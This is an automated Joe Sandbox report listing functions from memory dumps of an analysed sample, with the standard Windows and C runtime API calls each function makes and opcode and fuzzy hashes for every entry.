Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 60728f4ed894e1d81b3244d50feaba4dd6efe21ba5097be030f548ec59a44a5d
Instruction ID: fc80e82a56b6600493ba959e0e64e57c38047dceafa3d326b10ea522c2296e0f
Opcode Fuzzy Hash: 60728f4ed894e1d81b3244d50feaba4dd6efe21ba5097be030f548ec59a44a5d
Instruction Fuzzy Hash: 55F08C722446059FD354EBA9D409F5AF7FAFF58364F00842EE85EC7261DB70A800CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001994D1 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 001A506A: DeleteCriticalSection.KERNEL32(?,?,?,?,?,00239C08,00000010,001994DE), ref: 001A50CC
Part of subcall function 001A506A: _free.LIBCMT ref: 001A50DA

Part of subcall function 001A510A: _free.LIBCMT ref: 001A512C

DeleteCriticalSection.KERNEL32(-00000020), ref: 001994FA
_free.LIBCMT ref: 0019950E

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _free$CriticalDeleteSection
String ID:
API String ID: 1906768660-0
Opcode ID: 34036338255704af04558a4d1f129e21e3191b79a0f07c00ee794c803ceb831d
Instruction ID: 60a8f6961775b0bdd981bea52823eaf7dd3ac0d63c2c69e5cff208d534142390
Opcode Fuzzy Hash: 34036338255704af04558a4d1f129e21e3191b79a0f07c00ee794c803ceb831d
Instruction Fuzzy Hash: 79E0DF3A908D108BCB21B7FCFC0AA1933E4FF5B368B09040AF41093021DB217CA28A44

Uniqueness

Uniqueness Score: -1.00%

Function 00178774 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000002,00000001,?,?,?,0017AE65,?,?,?), ref: 00178793
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?,?,?,0017AE65,?,?,?), ref: 001787C9

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 7e122aa088bc98eef66364c38167cfca558bf2e616cbcc01fcb89fff104b74f6
Instruction ID: 194b3fb660f37c4093dbab57fc83401d98be6a53a777cf8bdea5146c426b1972
Opcode Fuzzy Hash: 7e122aa088bc98eef66364c38167cfca558bf2e616cbcc01fcb89fff104b74f6
Instruction Fuzzy Hash: 4D0184713412047FEB1D6B699D4BF7F7AADDB89750F14403EB50ADA1D1EE609C009524

Uniqueness

Uniqueness Score: -1.00%

Function 0017B4B0 Relevance: 1.9, APIs: 1, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6d18699e25cb261bfe13596771d21a63db1534b710d3595e158cccf1a2c1c64
Instruction ID: a6bc976b13b61c692fd30597b34e9e6de19245a07cb7e1bfcd358393eb7c45d5
Opcode Fuzzy Hash: c6d18699e25cb261bfe13596771d21a63db1534b710d3595e158cccf1a2c1c64
Instruction Fuzzy Hash: 3FF19F70D082199BCF18EF94C8D0BFEB7B5FF58300F54816AE91AA7290DB349A81CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0019F126 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124574085c2b9c49eb3f2784ed7f4eecdd05193e3ff7ddb4f2771f220cafad12
Instruction ID: 994b94202b378d9681fd955b3d64b413dd07c656efae0437cf21122b665b7625
Opcode Fuzzy Hash: 124574085c2b9c49eb3f2784ed7f4eecdd05193e3ff7ddb4f2771f220cafad12
Instruction Fuzzy Hash: 3B517075A00208BFDF14DF68C845BA97BB5AB86364F1A816CE858DB391C771ED43CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001DFBCA Relevance: 1.6, APIs: 1, Instructions: 136COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 001DFBE3

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: f791235aa79348709ac0e87a9da423f398d610d030b546dc84f6161d9a6c078f
Instruction ID: d82f8617fc254ddb9f9af8f2fc9728c016a3e563223e11b9952098933c640070
Opcode Fuzzy Hash: f791235aa79348709ac0e87a9da423f398d610d030b546dc84f6161d9a6c078f
Instruction Fuzzy Hash: 8E41E5B2600609AFCB15EFA4C8819AEB7B9EF58310B11853FE9179B251EB70DF41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00190000 Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE ref: 001900AF

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 90ec16dd810dcb6c7e7687cc546b95f9ab66e97690e9708f89e54f89588fb33c
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 0031D370A00105DFCB1ACF59C480A69F7A6FB59380B6986A5E40ACB356E732EDC1CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 001E8E39 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0017557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00175558,?,?,001B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0017559E

GetPrivateProfileStringW.KERNEL32(?,?,?,?,0000FFFF,?), ref: 001E8EBE

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FullNamePathPrivateProfileString
String ID:
API String ID: 1991638491-0
Opcode ID: b438c87335536e6b578808291ba53f44dc9d223d50951225f40bbe754cdfa8fc
Instruction ID: 842fd27f5bebc010017d92e9bc882615162da5fdc21d4e9671a52f1f866dc581
Opcode Fuzzy Hash: b438c87335536e6b578808291ba53f44dc9d223d50951225f40bbe754cdfa8fc
Instruction Fuzzy Hash: 3C211D35600605AFCB11EB64C986CAEBBB5EF59760B048054F9496B3A1CF30FD81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0017636D Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00176332: LoadLibraryA.KERNEL32(kernel32.dll,?,?,0017637F,?,?,001760AA,?,00000001,?,?,00000000), ref: 0017633E
Part of subcall function 00176332: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00176350
Part of subcall function 00176332: FreeLibrary.KERNEL32(00000000,?,?,0017637F,?,?,001760AA,?,00000001,?,?,00000000), ref: 00176362

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,?,001760AA,?,00000001,?,?,00000000), ref: 0017639F

Part of subcall function 001762FB: LoadLibraryA.KERNEL32(kernel32.dll,?,?,001B54C3,?,?,001760AA,?,00000001,?,?,00000000), ref: 00176304
Part of subcall function 001762FB: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00176316
Part of subcall function 001762FB: FreeLibrary.KERNEL32(00000000,?,?,001B54C3,?,?,001760AA,?,00000001,?,?,00000000), ref: 00176329

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 9973da6ddbd70ac19722293bcef6cf1db9a93c80ca4ba2f5cea75cc702eaf388
Instruction ID: 5e72abb8ba028191e52acc0821d145b4e9ffc1596a524eb63147f25ccb54450a
Opcode Fuzzy Hash: 9973da6ddbd70ac19722293bcef6cf1db9a93c80ca4ba2f5cea75cc702eaf388
Instruction Fuzzy Hash: 7511E332640A05AACB14FB64C806BAD77B5AF70715F20C42EF48BA61C2EFB49A85D750

Uniqueness

Uniqueness Score: -1.00%

Function 001A8792 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 001A87D0

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 7d5760ef34c7b2034f4e84f10ebf36c6aedf33814ff474da9ec42efde0bacbce
Instruction ID: ce4465b4689a4ab41c16d009dbef6650cdadfce129eb2efdc1f3a32e7b2f358c
Opcode Fuzzy Hash: 7d5760ef34c7b2034f4e84f10ebf36c6aedf33814ff474da9ec42efde0bacbce
Instruction Fuzzy Hash: 4011487590420AAFCB06DF98E94499E7BF5EF49310F104069F809AB311DB30EA218BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0017B050 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,00000000,00000000,?,?,00000000,?,00176B73,?,00010000,00000000,00000000,00000000,00000000), ref: 0017B0AC

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 501cb219a870b174dfd789e1800a59272a7d0b249213122d2b395690c2ed4b3f
Instruction ID: 9adce7a5ab9a6c3eabb6223190075d0ade0be1b26ea9416af5c9aa3ff33e03d0
Opcode Fuzzy Hash: 501cb219a870b174dfd789e1800a59272a7d0b249213122d2b395690c2ed4b3f
Instruction Fuzzy Hash: 68113631208705DFD7208E15C880B67B7F9EF44364F10C42EE9AA8BA51C7B1A945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 001A5390 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001A500D: RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,001A31B9,00000001,00000364,?,?,?,0000000A,00000000), ref: 001A504E

_free.LIBCMT ref: 001A53FC

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 70ee4adefee6eb26262b39f529bfb094e1f6354ac2554c6942b38d017f4a210d
Instruction ID: 21a075da676e206e793da3b29b57523078489a6a0375d81cc371fc152fbac900
Opcode Fuzzy Hash: 70ee4adefee6eb26262b39f529bfb094e1f6354ac2554c6942b38d017f4a210d
Instruction Fuzzy Hash: 630126B62087056BE7218E699845A5AFBD9FFCA370F25061DE1D497280EB70A805CA74

Uniqueness

Uniqueness Score: -1.00%

Function 0019E992 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3bcfdf3ea30de5ad2fd104242f32a7f0da7ba7ac48dae96aa9490ba82f0e323
Instruction ID: 2ba1aeb7000eb1d69baf77dd0b6b7beb5e8be827a8f858662ab55fec4989b062
Opcode Fuzzy Hash: e3bcfdf3ea30de5ad2fd104242f32a7f0da7ba7ac48dae96aa9490ba82f0e323
Instruction Fuzzy Hash: 65F0A4365016205ADF256A7ADC05B6A36D89F63338F150B19F865921D1DF74E80286A1

Uniqueness

Uniqueness Score: -1.00%

Function 001A500D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000001,00000000,?,001A31B9,00000001,00000364,?,?,?,0000000A,00000000), ref: 001A504E

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 63764ec46d9072077bb2310c3d7b93540037b1d0e61723773494fb04645fb444
Instruction ID: 97e7acd5c1d7cdc74326ee6787fc89d635bac0a95434fedfbf562ca4c3c2f435
Opcode Fuzzy Hash: 63764ec46d9072077bb2310c3d7b93540037b1d0e61723773494fb04645fb444
Instruction Fuzzy Hash: A0F0E939609E24A7DF311F729D05B5A3B5BBF637B1B158015FC04E6192CB70D80086E0

Uniqueness

Uniqueness Score: -1.00%

Function 001A3BB0 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00196A99,?,0000015D,?,?,?,?,001985D0,000000FF,00000000,?,?), ref: 001A3BE2

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ce4f1028f028ecd79e257374531e57818d656f19cb5906ae3eaaa015e3b733f0
Instruction ID: 4b3856a45538ec981fab3428ab11e94ac249fb9b20d0a5c4f57ac334c2638b3e
Opcode Fuzzy Hash: ce4f1028f028ecd79e257374531e57818d656f19cb5906ae3eaaa015e3b733f0
Instruction Fuzzy Hash: 17E0E53920421097DB212B669C04F5A365BEB037E0F250121FC25E2091DB31DE0082F1

Uniqueness

Uniqueness Score: -1.00%

Function 001763DB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30853b41bf27274c25117a808a4f8a590950231f10d58a601d6d801f9308a2f4
Instruction ID: 5bf4296148bd873fa4e7b38abfbb167d32f359e4d91a8d8af8312863f849211f
Opcode Fuzzy Hash: 30853b41bf27274c25117a808a4f8a590950231f10d58a601d6d801f9308a2f4
Instruction Fuzzy Hash: 9DF01571101B12CFCB399F64D894852BBF5BF1432A324897EE1DB82620C731A840DB50

Uniqueness

Uniqueness Score: -1.00%

Function 001C6A79 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 001C6A84

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 0c81dc36f765ef27acd3fa525127fedc690c559d9010926208fa0ffab8212e03
Instruction ID: b438080bcc99deee6ba9d29920becd7b3e0015bb17bad3960fb703010f5bf17a
Opcode Fuzzy Hash: 0c81dc36f765ef27acd3fa525127fedc690c559d9010926208fa0ffab8212e03
Instruction Fuzzy Hash: C3F0E572B046006ADB206AB49805FB2B7E8AB20315F14881ED4C582181C7B2D4949B52

Uniqueness

Uniqueness Score: -1.00%

Function 001A510A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001A512C

Part of subcall function 001A2D58: RtlFreeHeap.NTDLL(00000000,00000000,?,001ADB71,00241DC4,00000000,00241DC4,00000000,?,001ADB98,00241DC4,00000007,00241DC4,?,001ADF95,00241DC4), ref: 001A2D6E
Part of subcall function 001A2D58: GetLastError.KERNEL32(00241DC4,?,001ADB71,00241DC4,00000000,00241DC4,00000000,?,001ADB98,00241DC4,00000007,00241DC4,?,001ADF95,00241DC4,00241DC4), ref: 001A2D80

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: a7136b118dd25681eba1fac516c3f168631d39be7bcab1b26d5392532d0b3266
Instruction ID: 10852f78544ca26f4f4ce8853cdd8ede1a89e29111468ea3064d140846ad45d0
Opcode Fuzzy Hash: a7136b118dd25681eba1fac516c3f168631d39be7bcab1b26d5392532d0b3266
Instruction Fuzzy Hash: 5CE0927A2007059F8720CF6CD800A92BBF5EF963207208529E89ED7221D371E812CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0017653A Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00176558

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 246872d857331b2299f9d721c1e21c3e63b90e22c0d4325a9684d784a7ce1dac
Instruction ID: d9899a047a849275aa2493cdc6a550d75f0a0f718ae59871cf45780c46d5e269
Opcode Fuzzy Hash: 246872d857331b2299f9d721c1e21c3e63b90e22c0d4325a9684d784a7ce1dac
Instruction Fuzzy Hash: 8FF0F87140420DFFDF05DF90C941E9E7BB9FB14318F208545F9199A151D336DA21EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00174154 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

